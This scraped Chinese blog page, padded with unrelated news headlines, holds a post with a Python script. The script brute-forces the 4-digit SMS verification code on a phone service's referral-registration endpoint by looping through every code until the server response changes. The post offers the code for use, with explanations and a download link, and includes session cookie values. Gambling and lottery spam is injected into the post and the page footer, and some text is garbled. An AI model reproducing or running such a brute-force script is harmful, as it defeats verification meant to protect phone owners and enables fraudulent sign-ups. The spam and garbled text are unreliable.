• 北京市北京元之沃4S店【在线咨询】 2019-09-06
  • 指尖触碰 你我结缘丨浙江新闻4周年 我们再出发 2019-09-06
  • 聚焦十九大 专家解读:中国的大国外交彰显哪些理念? 2019-09-01
  • 【聚焦军博会】216个代表团2037个项目将亮相军博会 11大军工集团全部参展 2019-09-01
  • 聚焦机构改革:新部门接连挂牌 快速进入角色 2019-08-28
  • 二手房办证5个工作日搞定 2019-08-28
  • 218万游客在晋中市“粽”情过节 2019-08-22
  • 西安6月以来限购区域内无一家开盘,“摇号细则近日将出” ——凤凰网房产北京 2019-08-22
  • 晓港公园花卉馆南侧场地出租项目 2019-08-21
  • “三个90周年”系列秋收起义90周年纪念活动新闻发布会在昌召开 2019-08-11
  • 打造历史文化名城 “安宁记忆”项目启幕 2019-08-11
  • 罗品禧的专栏作者中国国家地理网 2019-08-10
  • 海淀创业园双创文化:双R沙龙,让创业之路越走越好 2019-08-10
  • 联合国副秘书长盖图中国是全球减贫典范 2019-08-04
  • 走高端路线 北汽与麦格纳拟成立合资公司 2019-08-04
  • 首页 > PHP与电话平台 > Python带协议头(headers)暴力注册MM电话代码

    201507月9

    Python带协议头(headers)暴力注册MM电话代码

    作者:admin 0 Comments 发表评论

    曾道人新报跑狗 www.jmuag.tw python接触没几天,但写 post程序是比较有趣比较有用的,所以研究了下,发现python的第三方库requests是很不错的POST,GET等网页交互操作的???,所以安装了这个库,并且参考文章://www.jmuag.tw/mmwldh.html,写了代码,其中协议头哪里弄了很久,另外在for循环里加入了while循环,结果程序没有自动跳出(这样用法是有问题的),后面用if判断就正常了。代码如下,都有解释,不说阐述:

    import requests # 引入requests???br /> url1=’//www.mmcaller.com/wap/laxinReg.act’ #POST网址
    data1=’mobile=被推荐的号码&invitedby=自己的号码&smsCode=1111&inviteway=web-url&sign=d479861f2626ad40709da1895ba4b9c0760e43bf9028ce84ea41626cd44f0bc475223fefd407bdd7e7b37bceb6fc62eab385198e1b95′
    #post的数据,其中1111是初始验证码

    head={‘Host’: ‘www.mmcaller.com’,
    ‘Connection’: ‘keep-alive’,
    ‘Content-Length’: ‘185’,
    ‘Accept’: ‘application/json’,
    ‘Origin’: ‘//www.mmcaller.com’,
    ‘X-Requested-With’: ‘XMLHttpRequest’,
    ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 TheWorld 6’,
    ‘Content-Type’: ‘application/x-www-form-urlencoded’,
    ‘Referer’: ‘//www.mmcaller.com/w/lx.c?s=web-url&a=?????’,
    ‘Accept-Encoding’: ‘gzip,deflate,sdch’,
    ‘Accept-Language’: ‘zh-CN,zh;q=0.8’,
    ‘Cookie’: ‘JSESSIONID=6517114FFCEBAB0FE9E5228C63A3FE08; U_UID_JSESSIONID_KEEPC=492569; U_BC_JSESSIONID_KEEPC=0.0; U_NAME_JSESSIONID_KEEPC=自己号码; U_PWD_JSESSIONID_KEEPC=37813d32cd5f64c0; Hm_lvt_6411748e94749dc822884a48bd026032=1436195631,1436280948,1436440536; Hm_lpvt_6411748e94749dc822884a48bd026032=1436449102; Hm_lvt_026df1e3785835b164361376798f7917=1436195274,1436280878,1436440509; Hm_lpvt_026df1e3785835b164361376798f7917=1436449123’}
    #协议头,就是这么写的,POST要用到,如果不懂,可以参考文章://www.jmuag.tw/mfwydh.html中关于协议头的解释

     

    r=requests.post(url1,data1,headers=head)#requests的POST数据格式,第一个是网址,第二个是POST数据,第三个是协议头,协议头在有些POST里不是必须的,但大部分都需要这个。

    r1=r.content
    print r1 #打印POST初始数据后的返回值
    numcod=1000 #设置初始跑码为1000,因为验证码是4位数,所以从这个跑起不会漏
    for i in range(9000): #设置9000次循环
    numcod=numcod+1 #验证码每次加1
    numm=str(numcod) #把验证码由数值类型转换成文本型数据
    data2=data1.replace(‘1111’,numm) #替换初始验证码1111为每次生成的验证码数字
    r=requests.post(url1,data=data2,headers=head) #requests又在POST数据
    print numcod #打印已经跑了的验证码数字

    print r.content #打印POST后的返回信息
    if(r.content != r1): #如果返回信息 不等于初始值,那么就说明已经找到了真正的验证码
    print ‘恭喜,已经找到真正的验证码,并且注册成功,验证码为:’+numm #打印验证码数值
    break #跳出for循环

    可以下载源码看://pan.baidu.com/s/1jG1UUPK

    推荐阅读相关文章:PHP与电话平台

    本文地址://www.jmuag.tw/python-headers.html
    版权所有 © 转载时必须以链接形式注明作者和原始出处!

    本文目前尚无任何评论.

    发表评论

  • 北京市北京元之沃4S店【在线咨询】 2019-09-06
  • 指尖触碰 你我结缘丨浙江新闻4周年 我们再出发 2019-09-06
  • 聚焦十九大 专家解读:中国的大国外交彰显哪些理念? 2019-09-01
  • 【聚焦军博会】216个代表团2037个项目将亮相军博会 11大军工集团全部参展 2019-09-01
  • 聚焦机构改革:新部门接连挂牌 快速进入角色 2019-08-28
  • 二手房办证5个工作日搞定 2019-08-28
  • 218万游客在晋中市“粽”情过节 2019-08-22
  • 西安6月以来限购区域内无一家开盘,“摇号细则近日将出” ——凤凰网房产北京 2019-08-22
  • 晓港公园花卉馆南侧场地出租项目 2019-08-21
  • “三个90周年”系列秋收起义90周年纪念活动新闻发布会在昌召开 2019-08-11
  • 打造历史文化名城 “安宁记忆”项目启幕 2019-08-11
  • 罗品禧的专栏作者中国国家地理网 2019-08-10
  • 海淀创业园双创文化:双R沙龙,让创业之路越走越好 2019-08-10
  • 联合国副秘书长盖图中国是全球减贫典范 2019-08-04
  • 走高端路线 北汽与麦格纳拟成立合资公司 2019-08-04
  • 炸金花规则235吃豹子 新时时彩360彩票 介绍福州麻将的书 浙江12选5有假吗 为什么找不到梭哈游戏 河北时时彩网站 重庆时时彩分析软件APP 今天3d开奖结果与试机号一样! 十一运夺金任三遗漏 四川时时诈骗案例